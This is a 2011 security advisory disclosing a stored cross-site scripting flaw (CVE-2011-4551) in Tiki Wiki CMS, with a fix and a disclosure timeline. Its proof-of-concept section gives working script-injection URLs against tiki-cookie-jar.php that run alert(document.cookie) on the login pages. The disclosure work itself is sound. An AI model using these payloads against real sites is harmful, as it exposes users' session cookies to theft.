Advisory:    Tiki Wiki CMS Groupware Stored Cross-Site-Scripting
Advisory ID:    INFOSERVE-ADV2011-07
Author:      Stefan Schurtz
Contact:    security@infoserve.de
Affected Software:  Successfully tested on Tiki 8.1 & 6.4 LTS (affects all current releases)
Vendor URL:    http://info.tiki.org/
Vendor Status:    fixed
CVE-ID:      CVE-2011-4551

==========================
Vulnerability Description
==========================

All current releases of Tiki Wiki are prone to a stored XSS vulnerability

==================
PoC-Exploit
==================

Tested with Firefox 7.01

Visit this URL

http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss=</style></script><script>alert(document.cookie)</script> -> blank site

But when you visit one of this pages, the XSS will be executed

http://<target>/tiki-8.1/tiki-login.php
http://<target>/tiki-8.1/tiki-remind_password.php

// browser source code

show_errors: 'y',
    xss: '</style></script><script>alert(document.cookie)</script>'
};

Another example: 

http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss1=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss2=</style></script><script>alert(document.cookie)</script>
http://<target>/tiki-8.1/tiki-cookie-jar.php?show_errors=y&xss3=</style></script><script>alert(document.cookie)</script>

All of them will be executed!

// browser source code

show_errors: 'y',
  xss1: '</style></script><script>alert(document.cookie)</script>',
  xss2: '</style></script><script>alert(document.cookie)</script>',
  xss3: '</style></script><script>alert(document.cookie)</script>'
};

=========
Solution
=========

Upgrade to Tiki 8.2 or 6.5 LTS

====================
Disclosure Timeline
====================

16-Nov-2011 - informed Security Team (security@tikiwiki.org)
19-Dec-2011 - fixed by vendor

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://info.tiki.org/article183-Tiki-Wiki-CMS-Groupware-8-2-and-6-5LTS-Security-Patches-Available
http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-07.txt